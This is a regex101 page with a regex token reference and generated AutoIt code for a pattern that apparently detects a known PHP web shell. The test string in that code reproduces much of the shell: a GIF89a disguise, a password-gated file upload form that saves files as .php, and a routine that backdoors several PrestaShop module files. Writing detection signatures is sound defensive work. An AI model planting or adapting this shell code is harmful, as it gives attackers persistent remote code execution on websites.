Regular Expressions 101

Save & Manage Regex

  • Current Version: 1
  • Save & Share
  • Community Library

Flavor

  • PCRE2 (PHP)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java
  • .NET 7.0 (C#)
  • Rust
  • PCRE (Legacy)
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests
Sponsors
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Generated Code

#include <StringConstants.au3> ; to declare the Constants of StringRegExp #include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate Local $sRegex = "(?is)^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*echo\s*["']privet\s*bot\s*by\s*bajatax\s*\&\&\s*xsam\-xado" Local $sString = "gif89a" & @CRLF & _ "<?php echo 'privet bot by bajatax && xsam-xadoo'.'<br>'.'uname:'.php_uname().'<br>'.$cwd = getcwd(); echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> <input type="password" name="baja_xsam" value="sirt7wa"></form> </center></td></tr> </table><br>'; if (!empty ($_files['uploads']) and md5(md5(md5($_post["baja_xsam"]))) == "ddb0bfc94159c6ac960367ef994ae246"" & @CRLF & _ ") { move_uploaded_file($_files['uploads']['tmp_name'],md5(time()).".php"); echo "<b>uploaded !!!</b><br>name : ".md5(time()).".php"."<br>size : ".$_files['uploads']['size']."<br>type : ".$_files['uploads']['type']; } " & @CRLF & _ "$path_exploit_payloads=array("/modules/explorerpro/action.php","/modules/sampledatainstall/sampledatainstall-ajax.php","/modules/colorpictures/ajax/upload.php",);" & @CRLF & _ "" & @CRLF & _ "foreach($path_exploit_payloads as $path_exploit_payload){" & @CRLF & _ " " & @CRLF & _ " if(file_exists($path.$path_exploit_payload)){" & @CRLF & _ " $html=" ";" & @CRLF & _ " if(function_exists("file_get_contents")){" & @CRLF & _ " $html=file_get_contents($path.$path_exploit_payload);" & @CRLF & _ " }" & @CRLF & _ " if(!preg_match("/hash_bajatax/i",$html)){" & @CRLF & _ " $save=fopen($path.$path_exploit_payload,"w");" & @CRLF & _ " fwrite($save,'<?php if(md5(md5(md5($_post["hash_bajatax"]=="7200c4e8bb32ac615efe537aa72d8667")))) { ?> '.$html." <?php } ?>");" & @CRLF & _ " fclose($save);" & @CRLF & _ " }" & @CRLF & _ " }" & @CRLF & _ "}" & @CRLF & _ "?>" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH) Local $aFullArray[0] For $i = 0 To UBound($aArray) -1 _ArrayConcatenate($aFullArray, $aArray[$i]) Next $aArray = $aFullArray ; Present the entire match result _ArrayDisplay($aArray, "Result")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm